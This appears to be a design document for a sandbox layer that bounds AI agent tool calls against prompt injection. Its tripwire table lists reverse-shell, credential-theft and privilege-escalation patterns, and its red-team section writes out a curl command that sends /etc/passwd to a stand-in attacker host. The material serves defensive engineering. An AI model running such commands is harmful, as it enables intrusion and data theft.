Skip to content

SANDBOX_LAYER.md

Latest commit

 

History

History
398 lines (318 loc) · 20.4 KB

SANDBOX_LAYER.md

File metadata and controls

398 lines (318 loc) · 20.4 KB
Raw

Execution Sandbox Layer

Status (P9 / Cloudflare OS G5): The deterministic blast-radius controls are DEFAULT-ON for all dispatch paths. Previously shadow-mode (audit always, enforcement off) and only enforced by atom_meta_agent. As of P9 the shared core/sandbox_gate.py gates every tool call through integrations/mcp_service.call_tool, so agent loop, workflow engine, fleet, and business agents are all bounded identically. Each flag remains a kill switch — set any to false to restore the prior shadow/off behavior instantly.

Phases A-E shipped (Rounds 43-47, June 30 2026) in shadow mode; P9 (Aug 2026) flipped the defaults to enforce-on.

Cross-references:

Why This Exists

❌ The Problem

When AI agents run arbitrary tools, they are vulnerable to prompt injection attacks and compromised software dependencies. Because LLMs process instructions and data uniformly, an attacker can trick the model into executing unintended code or modifying critical system settings.

🎯 The Impact

Probabilistic guardrails (such as system prompts or LLM alignment fine-tuning) can be bypassed by creative prompt engineering. Without hard boundaries, a hijacked agent can exfiltrate sensitive files, inject malicious cron jobs, or escalate host privileges, turning the automation platform into a security vulnerability.

🛡️ Our Solution

A system-level deterministic sandbox that enforces isolation outside of the LLM's reasoning engine. The sandbox enforces strict filesystem containment, AST-level code parsing, network proxies, and resource limits, blocking disallowed actions at the code execution level regardless of the AI's internal confidence or instruction state.

What this is

The deterministic blast-radius layer that CLAUDE.md §"Tier is routing, not security" calls for. Where the maturity system uses past clean executions to decide what an agent is normally allowed to do, this layer bounds what any single call can actually do — regardless of the agent's history.

Defends against:

  • Prompt-injected agents pivoting to exfiltrate data, persist backdoors, or escalate privileges on call N+1 (regardless of clean history on calls 1..N).
  • MCP tool poisoning, rug-pulls, cross-server hijack.
  • Compromised skill/marketplace packages executing arbitrary host code.
  • OWASP LLM01 Prompt Injection, LLM02 Insecure Output Handling, LLM06 Sensitive Info Disclosure, LLM07 Insecure Plugin Design.

Does NOT defend against (out of scope):

  • Training-time model vulnerabilities (poisoning, alignment failures).
  • Side-channel attacks across microVMs (mitigate via per-execution fresh start).
  • Compromised provider infrastructure (treat as trust boundary).

Five phases (Rounds 43-47)

Each phase is independently shippable and landed in shadow mode.

Round Phase Ships Default posture
43 A Data model + policy resolvers + audit table Shadow (no enforcement)
44 B FS scope enforcement FS FORCE_ENFORCE=true (after 7-day soak)
45 C Tool whitelist + caps + tripwires + KillRun FORCE_ENFORCE=true; tripwires + KillRun live
46 D Firecracker microVM + egress proxy MicroVM replaces Docker; egress FORCE_ENFORCE=true
47 E Provenance tagging + ActionJudge Tags in context; judge routes to ProposalService

Phase A — Foundation (sandbox_policy.py, sandbox_config.py, sandbox_audit.py)

New modules:

  • core/sandbox_config.py — env-var resolvers (mirrors hallucination_config.py)
  • core/sandbox_policy.py — SandboxPolicy frozen dataclass + PolicyIssuer
  • core/sandbox_audit.py — RunSandbox + SandboxViolation row writers

New tables (migration 20260630_add_sandbox_tables, guarded per SQLite hybrid-DB pattern, chains on Round 42):

  • run_sandboxes — one row per AgentExecution, snapshot of issued policy
  • sandbox_violations — one row per non-allowed evaluation, parallel to browser_audit and self_consistency_votes

Tri-state discriminator mirrors MatchConfidence / VoteResult:

  • ALLOWED — call proceeds
  • RESTRICTED — out of scope but recoverable (e.g. path-rename, host swap)
  • BLOCKED — hard deny; tripwire or unrecoverable scope violation

Tier-floor mapping:

Tier Tool whitelist FS roots Egress
STUDENT read-only tools workspace/data/ (read only) none
INTERN + memory, productivity_read + /tmp/agent/{run}/ (write) none
SUPERVISED + browser, productivity_write + workspace/data/uploads/ (write) curated baseline
AUTONOMOUS * (all tools) same as supervised full per-tenant list

Phase B — FS scope (sandbox_fs.py)

Path resolver + scope validator. Uses Path.resolve().relative_to() containment pattern from skill_dynamic_loader.py. macOS-aware: checks both resolved (post-symlink-collapse) AND requested paths so /etc and /tmp are honored regardless of OS-level symlink targets (/private/etc, /private/tmp).

Tripwires (Phase B subset):

  • /proc/, /sys/, /dev/, /etc/, /root/, /var/lib/docker/ → BLOCKED
  • ~/.ssh/, ~/.aws/, ~/.config/, ~/.env* → BLOCKED

RESTRICTED recovery: callers can use rewrite_path_to_sandbox() to remap an out-of-scope absolute path into the per-run tmpfs.

Phase C — Tripwires + caps + KillRun (sandbox_tripwire.py, sandbox_caps.py, sandbox_killrun.py, sandbox_transaction.py)

AST Pre-Evaluation Invariant Validator: Before executing Python/code payloads, the sandbox evaluates code strings using the ast module. This deterministic check blocks unsafe execution syntax, forbidden module imports (os, sys, subprocess, pty), dangerous calls (exec(), eval()), and credentials leaked through env var access (os.environ["AWS_SECRET_ACCESS_KEY"]), triggering an instant BLOCKED decision.

Tripwire registry: 21 compiled regex patterns across 6 categories plus exfil detection:

Category Examples
CREDENTIAL cat ~/.ssh/*, cat ~/.aws/credentials, printenv AWS_SECRET_ACCESS_KEY
DESTRUCTIVE DROP TABLE, DELETE FROM users*, TRUNCATE TABLE
PRIVILEGE usermod, visudo, chmod 4755, sudo rm
CRON crontab -e, /etc/cron.d/, systemctl enable *.timer
ADMIN GRANT ALL, ALTER ROLE, AWS IAM AttachRolePolicy / CreateAccessKey
REVERSE_SHELL bash -i, nc -e, socat EXEC, /dev/tcp/, raw socket.socket()
EXFIL curl/wget to non-allowlisted host

Level 5 DMM Transactional Rollbacks (sandbox_transaction.py): When ATOM_DMM_LEVEL5_ENABLED=true, file-modifying tools execute within a copy-on-write context manager. The system clones the workspace state to a temporary snapshot dir. If the agent completes successfully, the changes are committed. If the task fails, raises a security tripwire, or throws an exception, the workspace is automatically rolled back to its exact pre-execution state.

Resource caps: per-run counters for tool_calls, exec_seconds, bytes_written, cost_usd. Check-before-increment so the call that would exceed is denied.

KillRun state machine: tripwire or AST violation fires → _KillRunState recorded in KillRunRegistry singleton → AgentExecution.status updated to killed_sandbox (best-effort DB write) → subsequent guard(run_id) calls raise KillRunAborted which propagates up through the tool-dispatch loop.

Phase D — Firecracker + egress (sandbox_runtime/, sandbox_egress_proxy.py)

SandboxRuntime protocol unifies the three existing Docker-based sandboxes (auto_dev/container_sandbox.py, skill_sandbox.py, sandbox_executor.py). Three backends:

Backend When Pros Cons
DockerRuntime Default; fallback Zero host deps Shared kernel
FirecrackerRuntime ATOM_SANDBOX_RUNTIME=firecracker + KVM Linux host Dedicated kernel per execution, ~150ms boot Linux + KVM only
E2BRuntime ATOM_SANDBOX_RUNTIME=e2b + E2B_API_KEY Zero host deps, works on macOS/Linux/Windows ~$0.05/execution

MicroVM spec per execution:

  • Image: python:3.11-slim rootfs, no compiler toolchain
  • Network: --network=none by default; egress proxy socket mounted if required
  • FS: read-only rootfs + tmpfs /workspace = policy.fs_write_roots[0]
  • Memory: ATOM_SANDBOX_VM_MEM_MB (default 256)
  • vCPUs: ATOM_SANDBOX_VM_VCPUS (default 1)
  • Boot timeout: ATOM_SANDBOX_VM_BOOT_TIMEOUT_SECONDS (default 5s)
  • seccomp: default-deny + allow-list (blocks mount, ptrace, execve outside /usr/bin/python)

Egress proxy uses the INNOQ dual-proxy pattern:

  • LlmProxy — Anthropic/OpenAI/Gemini hosts only
  • ToolProxy — everything else (policy egress_hosts + curated baseline)

This separation prevents a tool exfiltrating data to an LLM-API-shaped endpoint.

Phase E — Provenance + judge (provenance.py, llm/action_judge.py)

Provenance tagging for context-window chunks. Seven trust levels:

Level Trusted? Source
SYSTEM yes system prompt
USER yes user message
MEMORY semi extracted from prior turns
TOOL_OUTPUT no tool returns
FILE no file reads
FEDERATION no external agent
RETRIEVED no search results

Untrusted chunks are spotlighted via <provenance type="tool_output" source="X">...</provenance> delimiters. The agent loop uses is_tool_invocation_from_trusted() to refuse to parse tool invocations from untrusted chunks — closing the indirect prompt-injection gap.

ActionJudge: LLM-as-judge for irreversible actions. Budget-tier call with 2s timeout, circuit breaker (5 failures → 120s cooldown), OrderedDict cache (256 entries, 10min TTL). Tri-state verdict:

  • proceed — call is safe
  • escalate — uncertain → route to ProposalService
  • block — call is unsafe → caller fires KillRun

Fail-open semantics: timeout/error/circuit-open all return proceed. The other phases are the actual defense; the judge is advisory.

Interception points

HTTP Request
    │
    ▼
LLMService.generate_structured  ──[Round 42 voter hook]──►  SelfConsistencyVote audit
    │
    ▼ (agent emits tool call)
AtomMetaAgent._execute_tool_with_governance
    │
    ▼
MCPService.execute_tool  ◄── **Phase A: SandboxPolicy.check() here**
    │                          **Phase B: sandbox_fs.validate()**
    │                          **Phase C: sandbox_tripwire.check() + caps + KillRun**
    │
    ├──► ToolRegistry.call(...)         ──[native tools: browser, canvas, memory]
    │       │
    │       ├──► browser_tool._maybe_gate_with_proposal   ◄── Round 41 hook (unchanged)
    │       ├──► memory_tool                             ◄── Phase B: FS scope check
    │       └──► productivity_tool (Notion API)           ◄── Phase D: egress proxy
    │
    └──► SandboxRunner.execute(...)     ──[executable tools: shell, code-exec, auto-dev]
            │
            ▼
        **Phase D: Firecracker microVM** (or Docker fallback, or E2B)
            │
            ├──► egress proxy (HTTP CONNECT, dual-proxy)
            ├──► filesystem mount (read-only + tmpfs workdir)
            └──>> seccomp profile + resource caps

The sandbox hooks into existing chokepoints without rewriting tool dispatch. Both _sandbox_check helpers (in mcp_service.py and atom_meta_agent.py) run all enabled phases in order: A → B → C → D. Phase E is wired into byok_handler.py for provenance tagging and llm_service.py for the ActionJudge hook.

Audit table — SandboxViolation

class SandboxViolation(Base):
    __tablename__ = "sandbox_violations"
    id: str                           # uuid
    tenant_id, workspace_id, agent_id, user_id, session_id
    run_id: str                       # FK to AgentExecution.id
    timestamp, created_at
    policy_id: str                    # FK to RunSandbox.id
    phase: str                        # "A" | "B" | "C" | "D" | "E"
    decision: str                     # "allowed" | "restricted" | "blocked"
    tool_name: str
    violation_type: str               # "fs_path" | "tool_whitelist" | "tripwire"
                                     # | "egress_host" | "provenance" | "cap_exceeded"
    violation_detail: Text
    args_hash: str                    # SHA-256 of redacted call args
    enforced: bool                    # True if call was actually blocked
    killrun_triggered: bool           # True if tripwire fired KillRun
    metadata_json: JSONColumn

One row per PolicyIssuer.check() call that produced RESTRICTED or BLOCKED. Allowed evaluations are NOT audited here (they're the common case; auditing them would drown the signal).

Kill switches (per phase)

P9 default flip: all flags below now default to ON (were OFF/shadow). Setting any to false restores the prior behavior instantly.

Phase Kill switch Effect
A ATOM_SANDBOX_ENABLED=false Policy not issued; all tools behave as before
B ATOM_SANDBOX_FS_ENABLED=false FS scope check skipped
C ATOM_SANDBOX_WHITELIST_ENABLED=false + ATOM_SANDBOX_TRIPWIRES_ENABLED=false + ATOM_SANDBOX_CAPS_ENABLED=false Each sub-feature independently toggleable
D ATOM_SANDBOX_RUNTIME=docker (default) Falls back to existing Docker (no Firecracker); ATOM_SANDBOX_EGRESS_ENABLED=false (default) skips proxy
E ATOM_SANDBOX_PROVENANCE_ENABLED=false + ATOM_SANDBOX_JUDGE_ENABLED=false (default) Provenance tags not added; ActionJudge skipped (judge stays opt-in per R72)

Master shadow switch: ATOM_SANDBOX_FORCE_ENFORCE (default true since P9). When true, all enabled phases enforce (block on violation). When false, all phases compute + audit but no call is actually blocked (shadow mode). KillRun only fires when both ATOM_SANDBOX_TRIPWIRES_ENABLED=true AND ATOM_SANDBOX_FORCE_ENFORCE=true.

Environment variables

P9 default flip: the deterministic controls below now default to ON. Egress (Phase D) and the LLM ActionJudge (Phase E) stay opt-in. Every flag remains a kill switch.

# Master switches (P9: default ON)
ATOM_SANDBOX_ENABLED=true                     # Master switch (Phase A+) — ON (P9)
ATOM_SANDBOX_FORCE_ENFORCE=true               # Enforce, not just audit — ON (P9)
ATOM_SANDBOX_POLICY_TENANT_OVERRIDE=false     # Allow tenant overrides

# Phase B (P9: default ON)
ATOM_SANDBOX_FS_ENABLED=true

# Phase C (P9: default ON)
ATOM_SANDBOX_WHITELIST_ENABLED=true
ATOM_SANDBOX_TRIPWIRES_ENABLED=true
ATOM_SANDBOX_CAPS_ENABLED=true
ATOM_SANDBOX_MAX_TOOL_CALLS=200               # Default cap
ATOM_SANDBOX_MAX_EXEC_SECONDS=600             # Default cap (10 min)
ATOM_SANDBOX_MAX_BYTES_WRITTEN=104857600      # Default cap (100 MiB)
ATOM_SANDBOX_MAX_COST_USD=5.0                 # Default cap

# Phase D (egress stays opt-in)
ATOM_SANDBOX_RUNTIME=docker                   # docker | firecracker | e2b
ATOM_SANDBOX_EGRESS_ENABLED=false
ATOM_SANDBOX_VM_MEM_MB=256
ATOM_SANDBOX_VM_VCPUS=1
ATOM_SANDBOX_VM_BOOT_TIMEOUT_SECONDS=5
E2B_API_KEY=                                  # Required for E2B backend

# Phase E (provenance ON P9; LLM judge stays opt-in per R72)
ATOM_SANDBOX_PROVENANCE_ENABLED=true
ATOM_SANDBOX_JUDGE_ENABLED=false
ATOM_SANDBOX_JUDGE_TIMEOUT_SECONDS=2.0
ATOM_SANDBOX_JUDGE_CIRCUIT_THRESHOLD=5
ATOM_SANDBOX_JUDGE_CIRCUIT_COOLDOWN_SECONDS=120

Performance budget

Phase Added latency per tool call Added memory Added cost
A <1ms (cached policy lookup) 1 row/run negligible
B <2ms (path normalization) — —
C <3ms (counter incr + tripwire regex) — —
D +150ms one-time microVM boot (per run); per-call overhead <5ms 256MB per concurrent microVM Firecracker: free; E2B: ~$0.05/exec
E +LLM judge call on irreversible actions (2s timeout, budget tier) — ~$0.001 per irreversible action

Total P50 overhead per reversible tool call: <10ms. Per irreversible: +LLM judge call (acceptable).

Verification

Per phase:

  1. Unit tests — pytest backend/tests/unit/core/test_sandbox_*.py -v
  2. Integration tests — synthetic agent runs against fixture MCPService; assert SandboxViolation rows appear when expected; assert KillRun propagates.
  3. Regression — full match-confidence + self-consistency + outcome- verification suites stay green. Sandbox layer is additive.
  4. Red-team exercises (Phase D+E exit criteria):
    • Prompt-injected agent attempts device_execute_command("curl exfil.attacker.com/x?data=$(cat /etc/passwd)")
    • Phase C tripwire fires on /etc/passwd read → KillRun
    • Phase D egress proxy blocks exfil.attacker.com → audit row
    • Phase E ActionJudge flags the call independently
    • Each defense layer fires independently; defense in depth verified
  5. Staging shadow-mode soak — 7 days between phases; operators observe violation-rate distributions before flipping FORCE_ENFORCE=true.

Expanded AST Tripwires & Resource Caps

Expanded AST Invariant Checking (sandbox_tripwire.py)

In addition to standard command regexes, string arguments pass through AST validation:

  • Python Reflection & Dynamic Imports: AST parsing blocks importlib, dynamic module loading (__import__), reflection attribute access (getattr(os, ...)), dangerous built-ins (eval, exec, open), and sensitive path reads (/etc/shadow, ~/.ssh).
  • JavaScript/TypeScript Static Analysis: Non-Python string arguments are scanned for unsafe Node/JS execution patterns (eval(), Function(), child_process, process.env.SECRET).

Transactional Resource Caps (sandbox_transaction.py)

Level 5 DMM transactional sandboxes enforce strict runtime and disk utilization boundaries:

  • CPU Time-outs (timeout_seconds): If a tool execution block exceeds the maximum allowed time, the context manager automatically aborts execution and rolls back the workspace to its exact pre-execution snapshot.
  • Disk Allocation Caps (max_bytes): Monitors total directory byte size during execution. Any payload that attempts a fork-bomb or massive file write breaches the cap, triggering an immediate rollback.

Research grounding